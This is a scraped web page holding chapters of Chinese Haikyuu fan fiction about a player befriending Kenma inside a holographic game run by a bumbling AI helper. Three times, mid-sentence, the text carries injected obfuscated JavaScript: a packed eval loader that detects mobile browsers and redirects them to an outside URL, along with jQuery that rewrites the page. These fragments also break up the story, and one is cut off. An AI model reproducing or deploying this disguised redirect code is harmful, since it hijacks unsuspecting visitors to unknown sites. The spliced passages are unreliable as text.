“又没训你。”猫又教练捂了捂差点被震碎的耳朵,“你带的路?” 山本不作声,猫又教练当作山本默认了。 “研磨。” 研磨应了一声,低着脑袋掰弄着手指头,不像在玩手,像是在解什么疑难残局。 猫又教练爽朗地笑了,拍了拍研磨的脑袋:“没想到研磨这么关心我,看来我平时也要多多关照你了。” 研磨焉了,稍稍抬起头,嘟囔着:“教练的关照已经够多了,承蒙厚爱。” 小黑率先捧腹笑出声。 猫又教练藏在身后的那只手掏出四个御守:“这是我夫人之前求的御守,和写着小智名字的那个是一个寺庙求来的,她说很灵验。” “她说很感谢你们跟小智谈心,提前解决了我们家的这次家庭纠纷。” “难怪玲花奶奶在我们聊完之后姗姗来迟。”山本恍然大悟。 夜久学长震惊:“阿虎,你说成语了啊。” 研磨问:“猫又教练怎么回答他的。” “我这老糊涂,有时候也搞不懂小孩子最在意的是什么,所以没能好好传达自己的想法。” “坦白来说,身为教练,我看过太多孩子的热情渐渐被磨灭,也不想小智变成那样。家长总是这样吧,想用自己的经验为孩子铺平未来的路,让他们过得更顺遂一点。” 他想起小智那孩子和他谈心时候认真的神情:“但看到那本厚厚的笔记本,谁都明白那孩子的决心了吧。” “我可是说了好多不中听的话,比如你这孩子以后一定会磕磕绊绊,遇上很多的高墙和障碍。” “但我们永远没办法用自己的经验去丈量你们前进的步伐。”猫又教练看着眼前的四小只,“身为爷爷,能做的就是相信。” “不过还好我是一流的教练,还能给出很多有用的指导。”猫又教练揉了揉圆滚滚的肚子。 真是的。 四个人齐刷刷地露出豆豆眼,猫又教练的形象还没有伟岸起来多久,就一下子被他自己打回了眯眯眼的自夸老头。 研磨率先抱着排球离去:“我先去训练了。” “我也是。”小黑招招手。 夜久向山本比了个“快跑”的口型,自己拔腿就跑。 山本被猫又教练拉住,生无可恋。 ——真是的,为什么反应最慢的总是他啊!!! 30.研磨猫猫的养成手札 24 * 第五次。 研磨窝在懒人沙发里,沙发刚被妈妈拿出去清洗过,满满柑橘味洗洁剂的香味,像置身于阳光明媚的果园里。 在一起玩游戏的时间里,千流悄悄趁角色死亡的时间露出半颗脑袋,自以为隐晦地进行暗中观察。 但她今天的发型格外张扬。 头上一簇呆毛,也不知道昨晚是什么睡姿,总之那簇倔强小草在视野里狂刷存在感。 于是随着千流的“暗中观察”,小草在他的余光里来回进行升降运动。 “千流。” 研磨看着千流佯装懵懂,从沙发里坐起来看向他。 他伸出手,比了个“五”的手势。 “你刚刚看了我整整五次。”研磨转动手柄,“我不会因为前面不开心的事情影响情绪。” ——真的吗? 我不相信地看着炸毛的研磨。 或许他自己不知道,平时柔顺的蘑菇头脑袋这回蓬松地炸了一圈,显得发量都多了一倍。 而且研磨一直都不怎么爱喝水,就像蘑菇缩在阴影里就可以自动汲取水分一样,为此,研磨妈妈特地在房间里放置了一台饮水机,不过此人连近在咫尺的水都不愿喝。 但今天研磨在卡关的时候频频起身接水,我的耳边“咕噜咕噜”的喝水声从未停歇。 所谓“前面不开心的事情”,本人经小黑与研磨的沟通中初步猜测是研磨和猛虎因为理念不同吵起来了。 本以为经过“侦探事件”,他们能建立革命友谊,没想到焉焉的研磨能被猛虎点炸,并噼里啪啦地炸到打游戏的时候。 我张开手,夸张地画了个圈:“研磨的头发就像这样——砰砰的,喝了很多水,我们两个合作出了披露的时候你虽然和平常一样很快调整了策略,但是手。” 我举起手,扣住手柄,模仿研磨刚刚的动作,双手毫无意识地扒拉着几个按键,轮流卡巴卡巴地挠了个遍,我表示:“就像这样。” 在我霍霍手柄的时候,研磨抬起手,轻轻弹了下我脑袋上的呆毛,拉平的嘴角恢复了平时的弧度。 我誓死捍卫自己的呆毛,盖住头发,忽视心里有些异样的感觉,瞪了研磨一眼:“研磨要对我的头发做什么。” 他托着下巴:“千流也炸毛了,所以物理上的炸毛根本判断不了。” “好吧好吧,你完全没炸毛。”我抱胸,得意洋洋,“不过我炸毛的时候,泰山崩于前而面色不改,伺机潜伏。” 完全想象不到千流是怎么伺机潜伏的。 研磨:“真的吗,那千流是怎么炸毛的。” 我探出脑袋,盯着研磨琥珀色的眼眸,和玻璃里藏着阳光那样透亮,我灵光一闪,“嘿嘿”一笑。 “承认吧研磨,你是不是在伺机套我话——想多了解我一点。” 我可不忘他前面说的赌注。 他敛去神色,眼里的光明明灭灭,研磨淡淡:“好聪明啊千流,这都被你看出来了。” “所以可以大发慈悲地放放水告诉我吗。” 我警惕,眼前的研磨是被什么奇怪的怪物附身了吗。 这时候他不该完全不承认,然后与我展开一顿争辩,最后我俩谁也说服不了谁,以此来结束这个话题吗? 他这样的反应令我有些手足无措,研磨看见我宕机的表情,接着维持被怪物附身的状态。 “怎么不说话了,聪明的千流。” 我急忙胡乱挥手试图驱赶研磨身上的怪物,捞过身侧软趴趴的大太阳花,这时候嘴一定要硬。 我轻咳一声:“那我就大发慈悲地告诉你吧。” 发现了,研磨的眼中闪过浅浅的光。 会被突然的直球打得束手无措,以至于忘掉自己原先优势。 ——这一面的千流。 * 所谓“炸毛”的时候,在我身上属实不多见。 “唯一一次算得上炸毛的时候,就是看到大叔精心制作的菜肴被某些不怀好意的人抹黑。”我的表情应该变得非常可怖,捏紧拳头。 “我之前在我最好的朋友家的饭店里打工,厨师大叔和领班的姐姐都非常照顾我,一直让我去做一些轻松的活,都让人有些不好意思了。” 我回忆:“主厨叔叔是一个对待食物非常认真的人,从制作方法到食材挑选都经过无数次的改良,所以他们饭店才能做大做强。” “不过有一些很讨厌的竞争对手。” 像痞老板那样偷配方的人就暂且不提,毕竟不管怎么偷也偷不到我们店的味道,百分百的复刻是不存在的,就算是复刻了,我们也会接着进步。 但借用一些服务和卫生方面的抹黑手段,就很容易进行栽赃。 不管怎么样在后厨配上摄像头,展示干净的处理过程,也会有不明所以的客户被竞争对手所谓“吃到了头发,虫子...”这种话,产生对我们饭店的负面印象。 真正的商战从来不需要什么高明的手段。 “所以我和大叔们商量了破而后立的手段。” 研磨看着千流眉飞色舞的表情,配合着问道:“什么破而后立的手段。” 我稍稍卖个关子:“总之那一天。” 一位熟悉的抹黑者跑到我们店里,又大喊“从饭里吃到了头发。” 聪明的千流在此时堂堂登场,不仅体现了服务人员的标准笑容和高素质,还上演了打脸爽文。 我站起身,假装身后就是后厨,招了招手:“出来吧大叔,把你的帽子摘下来。” 主厨大叔的帽子被摘下,卤蛋般的脑袋在顶光下闪闪发亮,所有人都被大叔的脑袋镇住了。 “所以你们的策略就是让后厨的大叔们剃光头发......”研磨一顿,但这样剃光头发不可能不被一直观察的竞争对手注意到。 我得意:“研磨也发现了吧,我还给后厨大叔们每个人都买了一顶假发。” 于是竞争对手被骗得团团转,甚至被当着客人的面揭发了他的身份,这样的消息随着当天的客户四处传播,竞争对手也偷鸡不成蚀把米,自己的名声被弄坏了。 “所以说,我要是炸毛的话,炸得才不会是自己的头发。”我自信,“准把惹到我的人炸了。” 研磨若有所思:“千流说的对,那我也这么做吧。” 我急忙挥手,倒也不必把猛虎给炸了吧。 猛虎,危!!! 我还是有些摸不着头脑,按理来说,研磨不怎么会炸毛持续这么久,按他的话来说,生气也是一种很耗能的情绪,自己气自己更是容易内耗,猛虎在这一点上也算得上天赋异禀了,我好奇。 研磨一噎:“倒也没有......” 比起是被猛虎弄的生气,更多的是理念方面的冲突。 他一边回忆,一边语气又变得气鼓鼓:“山本总是说着[斗志][努力],且不说这两者并不是所有人都有的,明明可以用战术解决的事情,一味往那种方向努力,不是白费功夫吗,我是这么觉得的。” “而且,山本还完全听不懂我的比喻。”研磨抱头,缩成一团后渐渐平静下来,“嘛,虽然被他看出来我有些球没有拼尽全力,但那也是为了储备体力。” “既然研磨觉得自己说的都是对的,那为什么还要在意山本说了什么。” 研磨张了张口。 我托起脸颊,眨眨眼:“因为他是研磨认可的队友,是吗?” 他偏过脑袋:“我不明白[斗志]那种泛泛而谈的概念。” 我思索:“有时候,没有斗志也没关系吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079423|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虽然和当前社会所倡导的奋斗的价值观很不相同,但我真心地觉得如果在生活中的方方面面都满怀激情,除了那种天生活力满满的人,其他任何人都会觉得体力透支。 “而且我不认为斗志会影响研磨的态度哦。”我毫不吝啬自己的夸夸,“斗志和认真不是一回事吧,我发现研磨即使看起来很随意,但一直很认真地对待比赛吧。” “只是不想拖后腿而已。” 我不认可:“已经不是“拖后腿”,排球部的大家也都能看到研磨对排球部的贡献,对吧?” 好吧。 他能对千流前面的手足无措感同身受,并无比怀念福永的那桶凉水。 他摩挲着自己发烫的掌心,需要冰块来给自己降降温。 “明天还要去排球部......”他转移话题。 刚吵完架第二天就要见面,确实是一件有些尴尬的事。 “队友没有隔夜仇啊!”我表示。 研磨目移。 确实。山本绝对是那种第二天就能忘记坦然面对队友的性格。 研磨吐槽:“为什么排球部感觉都是这种神经大条的人。” “小黑感觉很细腻啊。” 细腻的小黑仿佛戳到了研磨的某个笑点,他笑倒在沙发里:“嘛,小黑确实蛮细腻的,但总觉得这种形容有些怪怪的,我明天就这么夸他吧?” 唔,感觉会被小黑打击报复。 我善意规劝研磨。 不过他已经下定决心。 我拿出系统任务完成后的测谎仪,递给研磨,盘算着用它挖出什么研磨的黑历史。 他捧起那个测谎仪,端详一会,突然问我。 “千流,你知道我上次在档案室看到了什么吗?” 我不解:“什么?” 他说:“其实我很好奇你们的鬼界能做到什么。”他举起测谎仪,“它可以知道我现在在想什么吗?” 我不知该怎么解释,游戏系统知道游戏人物的意识,应该蛮正常的吧? “还是说它可以操纵我所见到的一切?你过去说抹去记忆不能抹去和人的情感相关的,这是一条铁律,还是只是明面上的[使用手册]。” 而实际上的使用因人而异。 “铁律吧。”我有些犹疑,但回档重开后消除记忆,确实与这种使用手册相违背。 他把测谎仪随意放在沙发的一角:“我看到——” “除了猫又教练的档案,还有排球部运动员的残缺的档案。” “其他的档案都是空的。” 屏幕因为长期没有被使用而自动息屏,我被研磨缓缓的叙述拽起一种抽离感。 ——我该知道这是因为什么的。 我的视线一偏,徘徊于上方红彤彤的暂停键。 研磨所谓的“异常”,都是小八修bug不到位的结果。 或许那些档案也是因为在内测期间,所有的资料都不完全。 但不管我怎么按下暂停键,游戏空间也没有暂停,小八也迟迟没有出现。 我维持表面的平静,脑内风暴地迅速找出一套说辞。 只好把所有锅都推给我们不存在的[鬼界上层]吧。 “待我今天回去调查一下。” 我采取了拖延战术。 研磨认真:“如果有需要帮助调查的话要找我。” 明明在欺骗研磨他却在为我着想。 都说玩这种攻略游戏千万不要代入主观感情,[为了达成happy ending]不择手段,这才是成熟的攻略者应有的态度。 ——但我几乎有些想要摊牌了。 [真相]在喉咙里来回兜圈,却被自己咽了下去。 “好。” 我听见自己这样回答。 31.研磨猫猫养成手札 25 * [几乎是落荒而逃] 我掩面挫败地心想。 站在登录界面的岛屿上,海浪数着节拍拍打着海岸,像时钟的指针,催促着人不停地往前走。 我来回踱步,把所有能联系小八的方式都用上了,聊天栏是我不断发去的通话申请和长语音,即便是手上一直维持联络小八的动作,脑海还是不时闪过和研磨分开时的画面。 耳畔的声音像失焦的取景框模糊不清,我浑浑噩噩地回答着研磨的话。 [为什么无法暂停呢] [小八是出了什么事吗] [档案的事,干脆全部甩锅给系统就好了,也没那么难解决] 【那你在纠结什么呢】 “......千流?” 我的视线骤然回落于扣在肩上的那只手,由于没有“触摸”的实感,我连它驻留了多久都无从知晓,视线顺着那只手上移,瞳孔里倒映着我茫然的面孔。 他松一口气,收回手。 “是调查那些事会很麻烦吗?” “才没有。”我扬起笑容,双手在胸前比了个叉,“轻轻松松哦。” ——我当时笑得绝对很夸张,表情也不像轻松的样子,可能僵硬到研磨都无法接着追问。 等不到小八的我站在沙滩边缘,海螺和贝壳散落在沙滩的四方,我捡起一颗海螺,它的轮廓与【神奇海螺】十分相像,我把它放在耳边。 “ken~ma~”我怔愣地抬起头,那是我的声音。 我灵光一现,捡起其它的海螺与贝壳,无一不记录了我和研磨的对话。 [是语音存档的具象化吗] 我疑惑。 【那你在纠结什么呢】这个问题又浮现在我的脑海里。 耳边只有浪花的絮语。 “因为太真实了。”我轻声,蹲在岸边,伸出手,浪花淘气地触碰我的手指,连海水的气味都这么逼真。 更何况是人的记忆。 与研磨共同经历的一幕幕闪过,全息游戏真的能做得这么逼真吗? 如果不是AI,什么样的智能能这样模仿人的思维模式。 被海水浸泡的手指有些冰凉,我站起身,打量这个世界,海岸像是世界的边界,辽阔的天空缀着几朵白云,像幕布之上的装饰品,游戏里的海鸥如果像要飞向天空,会是什么结果呢? 会一头撞上天幕,然后坠落吗。 我既没有办法毫无负担地欺骗研磨,因为全息游戏将虚拟与现实的边界混淆,过去相处的日子让我无法将他简单地看作一个攻略对象。 他是我的朋友。 我无法把他人的善意,即使是“虚拟的”,也置若罔闻。 我也不能把世界的真相全盘告知,百分之三十的概率我会被看成一个疯子,百分之七十的概率,他会变成一只飞向天空的海鸥。 “果然还是全都怪小八。”我赌气地嘟囔着。 身上满是沙子的怪物突然从我脚边的沙坑里钻出,它像个高速运转的螺旋桨,摇头晃脑地把满头沙子抖落,随后气势汹汹地飘起,用它那个带着沙子的大脑壳撞了撞我的额头。 我吃痛地揉了揉额头,细细辨认,勉强看出状似小八的轮廓。 它哼一声,飘在空中嚷嚷着:“你说我的话我可是全都听到了。” 这是什么蛐蛐别人必然会被发现的定律吗,下次找不到小八干脆拿着喇叭大声骂它就好,它绝对会第一时间奔赴现场。 我的心里也窝着火,毫不退让,抱胸用意念把自己飘起来,一定要比小八高一头,我俯视:“说的就是你。” “哈!”它嘴巴张成o型。 我把刚刚发生的所有事情一股脑朝小八说了个遍。 “擅离职守,有事不回,这是不敬业的表现。” 我拿起海螺,放到它的耳边:“条款里面没有可以未经允许录音这个选项吧,我可以理解为数据备份,但瞒报,这是很严重的失误吧。” 它手足无措,焉焉地垂下脑袋,慢吞吞地挪到我的面前,用小短手拽了拽我的衣角。 我冷酷侧身仰头四十五度。 它飘到我的面前,可怜兮兮地扒拉幽灵的下眼皮。 我倒吸一口冷气:“你是要骇死我吗?” 小八把眼白都翻出来了。 “我是让玩家看我的黑眼圈啊。”它指了指自己的黑眼圈,堪比大熊猫。 “我还以为是你切换的新妆容。” “我已经维护系统一个月没有睡觉了,AI有时候也需要休眠,不然会过劳发热,然后报废。” 我不由得又一次询问它:“你们游戏公司是干什么吃的,有资金研发全息游戏,维护地这么不积极,全都交给你一个AI吗?” 它左顾右盼,视线飘忽不定,看它这幅神情就不用指望它的嘴里吐出什么真话。 “涉及一些隐私方面的问题,所以员工不能参与维护。本来我一个人维护肯定是够的。” “那为什么不够了呢?”我追问。 它闭口不答,还莫名其妙委屈地看我一眼。 我批评:“所以这就是你们老板想的不够全面。” 小八像是想到了什么,有一瞬间变得嬉皮笑脸起来,我眯起眼它才又挂上可怜巴巴的表情。 “我们公司的老板员工都深谋远虑,玩家你有一天会为今天说过的话后悔的。” 我耸肩:“我才不会去你们这个三无公司上班呢。” “我才不会再相信小八你那可怜巴巴的表情。”虽然我觉得作为一个吉祥物系统确实很可爱,但身为辅助系统就显得相当鸡肋了,“所以你打算怎么解决。” “玩家自己没办法骗研磨,也不打算删号重开。”被它这么一说,搞的我的要求十分无理取闹,小八拍了拍自己的胸膛(其实它一大团的身躯完全看不出哪里是胸口),“本AI有办法,今天也很晚了,玩家下次上号就行。” * ——我觉得很丢脸。 我伸手,垂下脑袋,佯装毕恭毕敬,介绍身后的“阎王”。 “这是我们中国鬼的头头,阎王大人。” 它抚摸自己的长白胡子,矜持地点点头。 [什么叫头头啊,玩家,只是叫你辅助一下本AI,这样的介绍搞得气势全无] [介绍你已经好丢人了,臭小八,你这打扮也太浮夸了] 研磨觉得周遭的空气有些阴冷,他淡定地观察着“阎王”,对方衣着华丽,正襟危坐在状似筋斗云的物体上,身后还冒着幽蓝色的烟,有点像打了蓝光的舞台干冰特效,研磨心想。 他说:“阎王大人。” “阎王”友好地点头:“我收到千流,也就是我们鬼差的信,说是在进行某次任务的时候,人界的合作人员,也就是[孤爪研磨],对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087982|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们鬼界工作程序的合法性产生了质疑。” “本王觉得这是关乎我们鬼界名誉的大事,加之千流只是新手,恐怕也对我们的工作规章了解地不大透彻。” 它从宽大漏风的衣兜里掏出一份[总则],千流暗道,一看又是加班连夜编纂的,“阎王”一拂袖,牛皮纸质地的本子出现在了研磨的手里。 “你可以翻翻看。”它介绍,“我们阴阳两界一般互不干涉,除了某些指标需要,但干涉人间的行为都会染上因果,例如篡改记忆,都是严格受上界监督,一旦存在出于不当目的进行干涉,我们一定会率先制止。以本王的鬼格担保。” [你还有鬼格呢。] 小八内心强大,屏蔽我的吐槽:“至于那些档案,我已经查明了,是千流的师傅为了偷偷帮助她,额外递交的道具,不过她本人并不知情。” [你怎么给我加了这个设定]我震惊抬头。 小八:[很不错,保持这个震惊的表情。] “她的师傅担心她第一次出任务表现不合格......” 一言不发的研磨突然开口:“千流一直做得很好。” “嗯?” 研磨面不改色:“我们一起完成了很多任务,她一直都完成地很好,帮了我很多。” 小八:[要不是我一路看着你和研磨怎么做任务的,我恐怕都要信了。] 小八很乐观:[喂喂玩家,如果我没有想错的话,研磨是在为了维护玩家在上司面前的形象,特地说的好话吧。] [看来我们很快就要攻略成功了。] 我回道:[或许吧。] [你不大开心吗?] 不愧是人工智能,我看着小八双线程地一边跟研磨交流,一边询问我的心情。 [这不是说明你们游戏很有代入感嘛。]我轻轻捏了捏自己的指尖,[我还没有结束这次游戏,就因为游戏可能抵达的结局而伤心了。] 所谓游戏的结局,就是名为[江千流]的女鬼,与研磨建立了深厚的友谊,圆满完成了任务,说不定未来的CG有女鬼千流偶尔路过人间和好朋友研磨打招呼这种番外篇。 我想起条款里的[删档内测]的说明,有些烦躁地后退几步,背靠冰冷的墙面。 小八顿了顿:[玩家知道我们游戏的研发宗旨吗?] [好梦贩卖商]我的记忆力在此时并不坏,[让每个人都做个好梦?] [是让每个人都从游戏里得到快乐,然后得到面对现实的力量。] 要不是我现在扮演着阎王的下属,我都打算为小八的这通发言鼓掌:[看来你们这个三无游戏公司相当正能量。] 小八悄悄瞥了站在暗处的我一眼:[玩家你会快乐吗] 我掰弄着手指。 首先这款游戏给了我不菲的资金,起码现在攒下的钱能够支撑我在日本留学的时候过得轻松许多。 其次它还给我提供了一个休闲的方式,在学校忙得团团转的时候,回到家里玩会游戏,好像能暂时不管现实中的各种事情。 它还让我短暂地拥有了一个很好的朋友,好到我巴不得在现实世界里遇见他,然后一起把所有有趣的游戏都玩个遍。 我数来数去,突然觉得有时候人不能太贪心,起码我有两条可以快乐的理由,最后一条的失落也应该很快抵消。 [唔,经过一番计算,我会快乐的!] 32.狐狸观察笔记 ■■ * “中国有句俗语——风水轮流转......” 每个人的学生时代都会遇到这样一位英语老师,比起别的学科老师相对朴素的着装,英语老师的衣着一向很亮眼。 比如现在。 我的视线一直跟着英语老师的裙摆流转,像扑蝴蝶的猫。 蝴蝶飞落在我的书桌前。 我讪讪抬起头,映入眼帘的是她温柔里带着严厉的眼神,她敲了敲我的书桌,我乖乖站起。 “请问我刚刚讲到哪了,千流同学。” “风水轮流转。”我即答。 “算你过关。”她放下搭在我课桌上的手,“请问风水轮流转的英文是什么?” 我心中暗暗松下一口气,之前在某个科普视频里曾经听到过这个俗语,恰好印象深刻。 "Every dog has its day." * [这算风水轮流转吗] 研磨夸张地大幅度伸出手,伸到分割线划分的糕点盒的另一端,而自己的这边几个梅花糕还半满地装在精装的中式木雕盒里。 千流绝对注意到了。 她先是漫不经心地扫过他的手,而后眼里发出亮晶晶的光芒,主动把糕点盒向前推了推,好让他不用把手伸得那么远,随后满怀期待地盯着他,双眼明晃晃写着“快吃快吃”。 研磨在千流失落的注视下把半空中的糕点放了回去。 他开始反思。 难道自己之前让着千流的样子和千流现在这样,那么明显吗? ......应该稍微比千流隐晦些吧。 他们俩的投喂关系一直随着年岁和关系的变动而变化。 在高中前,千流一直自持大人,颇有“孔融让梨”的风度,眼巴巴地把吃的多分给他一眼。 于是研磨在那炽热的目光下屡屡说“吃不下了”,千流便兴高采烈地收入囊中。 而在他因为窥到千流过往的一角,心情复杂地在各种情况下暗戳戳地投喂她,虽然没有主观的这种想法,但行为上就是这么做了。 行为是思想的映射。 但在过了那段纠结期,加上他进入高中,千流在某一天庄重地宣布他们是平等的分食关系。 为此她特地购置了一份俩人Q版小人的蛋糕,就像这是研磨的成年礼一样。 她把塑料小刀递到研磨手中,在半空中虚画出一道分割线:“就沿着这里,切下去,我特地让老板弄成非常严谨的一半一半的关系哦。” 研磨手持着塑料小刀,在两个Q版小人间比划比划。 他突然偷偷叹了口气,自诩还不错的观察能力总在猝不及防的时候钝钝地敲打他的思绪。 每个人心里都有难以打破的秩序,就算人常因情绪的波动做出扰乱自身秩序的行为,但更多情况下,他们的举动都受这样顽固秩序的支配。 所谓“对年纪稍小”的孩子要多加照顾——是对自身童年的代偿。 而所谓的“分食仪式”,是将独立作为成长的标志,从此不必依赖他人。 但他更多地想到千流哗啦啦把一大堆吃的推到他那里之后,自己空荡荡的桌面。 ——怎么会有这么笨的人。 他忍不住想。 正常来说,人要是有能力得到过去得不到的东西,不应该放肆地购买,把自己空旷的地带填满吗。 为什么要一股脑地推给别人? 他决定告诉千流正确的选择。 研磨把塑料小刀丢到盘子里,指了指蛋糕上的两个小人。 “我不想切。” “为什么?”她迷糊地看向他,就像面前是一个年仅七八岁左右淘气的小孩。 研磨让千流凑近些看:“发丝。” “哈?!蛋糕上有头发吗?”千流如坐针毡,聚精会神地进行审视,眼睛X光把蛋糕扫了个遍,最后目光落在了Q版小人上。 她眨眨眼:“研磨说的是小人的头发吗?” 研磨用沉默表示默认。 蛋糕上的两个小人站在两棵樱花树下,樱花花瓣纷纷飘落,就像是为了表现画面的动感与彰显绘画师的水平,小人的发丝也随着那阵风飘舞起来。 风中凌乱的潦草小千流与小研磨,被风牵起的头发缠在了一起。 “唔。”一步,两步。 千流给研磨一个紧紧的、突然袭击的拥抱。 她上下敲打研磨脑袋的动作并没有什么分量,只会把他的头发搅乱。 “嘛,真是的。原来研磨舍不得把我们俩分开。” ——幽灵,不,是中国的鬼魂。 原来鬼魂的拥抱是这种感觉。 轻飘飘的、没有什么实感。 连双手都找不到落点,因为不管怎么抓紧也只是一团空气。 但他感受到了暖洋洋的气息,就像整个人都被炽热的拥抱融化,研磨想起冬天的太阳。 仅存的理智卡壳地分析着,这是因为千流的拥抱阻挡了空气的侵入,所以这一方不流通的天地自顾自地升温。 ——那分明就是灵魂的气味。 胸口一道声音敲着鼓点格外有存在感地反驳着。 “……” “再不说话我就当作默认了!” 他偏过脑袋,明明是为了告诉千流[正确做法]的策略。 千流像快乐的小鸟,吱吱喳喳地哼着歌,一只手拿着盘子,另一只手转了转塑料小刀,相当利落地把上层的两个Q版小人,连同樱花树与他们的花瓣整整齐齐地霍愣到盘子上:“完美。” 她问:“这样可以切了吗?” “可以。”研磨接过小刀,还未等千流嚷嚷着什么[我的眼睛就是尺,这样分割],就大刀阔斧地把蛋糕划成两块,又趁千流什么都没有来得及说的时候,把那一块放到她的盘子里。 千流愣愣地托起盘子端详片刻,得意洋洋地嘲笑:“真是的研磨,你的眼睛是歪的吗。” “我这块比你大那么多。” 研磨把奶黄色的蛋糕送进嘴里,味道很不错。 “明明是一样大。” 千流摆出一副[你在说什么瞎话]的表情,也静悄悄地把蛋糕放入自己的嘴里。 ——从这件事来说,研磨觉得他做的比千流自然多了。 这就是他计划的一部分,至于要如何教导千流[遇到想要的东西就牢牢握在手中],他决定从饮食做起。 比如让她的碗里永远都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而表现在外在就是一丢丢的照顾,比如抱着“看一眼少一眼”的心态如同一个偷窥狂魔一样悄悄观察研磨,趁对方没有发现及时收回自己的目光。 又比如被发现的投喂。 [为什么要删档内测啊],她抱怨。 [决定了。] [决定什么?]小八问。 [就算删档了,本记忆力超强的千流],她一顿,自己疑似阿尔兹海默症青年患者,不过最近并没有记性不好的时候...吧? [我会把攻略过程再次复刻一遍,这样就能又重新养成一只一模一样的研磨,怎么样?] 小八偶尔会在不恰当的时候展露它那可怕的幽默细胞:[说不定我们小破游胎死腹中,根本不会.....] 玩家当着研磨的面前对着空气露出了可怕的冷笑。 [那你们可要多多加班啊。] [我会每天发邮件催进度的。] 夭寿了。 玩家疑似打算加入压榨可怜AI的队伍。 小八无声垂泪。 33.研磨猫猫养成手札 26 * “研磨说今天不和你一起来上学了?”夜久向小黑展示让排球在直立的五个手指间旋转的独门绝技,“是不是因为起晚了?” 黑尾摇头:“不大像。” 他想起研磨今天的房门紧锁着,房间里传来清醒的声音告知黑尾今天自己先走吧,还未出门的研磨妈妈笑着递给小黑一瓶温牛奶,并说“让研磨自己做做心里建设吧”。 满头雾水的黑尾就这样独自一人来到了学校。 “虎。”黑尾朝猛虎招招手,“你有什么头绪吗?” 不打不相识,自从研磨和猛虎大吵一架后,经过和好后,性格不和的两人关系火速升温,研磨一边对猛虎说着不可能,一边又默默更改了对他的称呼,猛虎也把研磨纳入了自己好哥们的行列里。 猛虎抱着排球,仰头看向天花板,突然“啊”了一声,露出神秘的表情,他竖起食指,兴致勃勃地说道:“研磨会有大惊喜哦!” 福永像幽灵一样,从凑在一起的黑尾与猛虎间冒出脑袋:“说不定是惊吓。” 猛虎“哇”一声后退近十米,捂住他的胸口:“真是的,福永,好吓人!” * 研磨本人正面无表情地走在人潮拥挤的学校走道里,他的目的地是排球馆。 即使给自己洗脑无数次“没什么不同的”,大家看着他头发的视线还是难以忽视。 他叹了一口气,猛虎绝对给他灌了什么迷魂汤吧。 金色的发丝比太阳还耀眼。 ——自己为什么会一时脑热认为金发没有黑发显眼? 归根到底,是那时的猛虎太言之凿凿了,他断言“研磨的黑色头发会把人吓一跳,所以很惹人注目”,随后又说“这年头发色五花八门的人又不少,绝对不会引人注目。” 研磨回忆过去排球比赛上对手们的发色。 他觉得猛虎说的对,和魔鬼红荧光绿的发色比起来,自己染个金色的头发确实不算什么。 研磨虽然有时行动迟缓,然而下定决心之后做事非常迅速。 几乎是下了课就独自一人来到染发店,与理发店老板简洁扼要地指了指自己的头发,“请帮我把这个染成金黄色”。 “金黄色?” “是的。” 理发店老板似乎是位极其擅长脑补的大叔,他先是以劝研磨的语气说道:“即使和女朋友的感情出了问题也不要太伤心。” 研磨:“我没有女朋友。” “啊,抱歉抱歉。”理发店老板听罢兴高采烈地戴上塑料手套,“我的染发技术包好的。" “将将将将”,研磨看出来理发店老板非常活泼,他犹如烘焙面包的师傅,而他自己就是烘焙师傅刚烤出炉的金黄色小面包。 小面包研磨看向理发店镜子中的自己,拍了拍自己被吹得蓬松的头发两侧。 理发店老板滔滔不绝:“这个金黄色的头发太衬你的肤色了,现在我们东京的潮流男孩都很看好这个发色。” [潮男发色]。 研磨心中隐隐升腾起不详的预感,他看向自己手腕上的手环,似曾相识的感觉再度袭来。 研磨默默付钱起身,道谢后回到家。 ——妈妈向他投以惊叹、满意等等复杂目光。 能晚点见人就晚点见人吧。 研磨心想。 * “拖”字诀显然并不能永远有用。 “莫西莫西,你好。”夜久学长走向排球馆门口,在看清眼前人后,先是“哇哦”了一声,“这位同学是想加入我们排球部吗,我来带你看看......” 夜久学长的腹部被研磨锤了一拳,他揉了揉腹部弯着眼。 “夜久学长。” “嗨嗨嗨,研磨,原来这就是猛虎说的惊喜。” 话音未落,猛虎便从遥遥的排球馆一端气势汹汹地奔来,他一把揽住研磨,“不错不错”,猛虎连连说到。 研磨变成了排球部的大熊猫,被一直发出“哇哦哇哦”的音驹队员们团团围住,他自己则负责捂住黑尾夜久福永不时伸出的摄像头:“真是的,你们都不练习了吗。” 研磨和一群动作迅速活力充沛的音驹队员们躲累了,他们纷纷摇头。 猫又教练的声音传入众人的耳畔:“谁不练习啊。” 声音虽然充满笑意,但众人纷纷跟遇见老虎一般四散开来。 猫又教练看向被围在中心的研磨。 他的眯眯眼因为过度惊讶张开了,引来猛虎“猫又教练睁眼了”的呼喊,不过为了保护猛虎的生命安全,夜久学长眼疾手快地把他的嘴捂住了。 “哇哦。” 猫又教练如是说道。 * 我一进入游戏,映入眼帘的是乖乖训练的音驹众人。 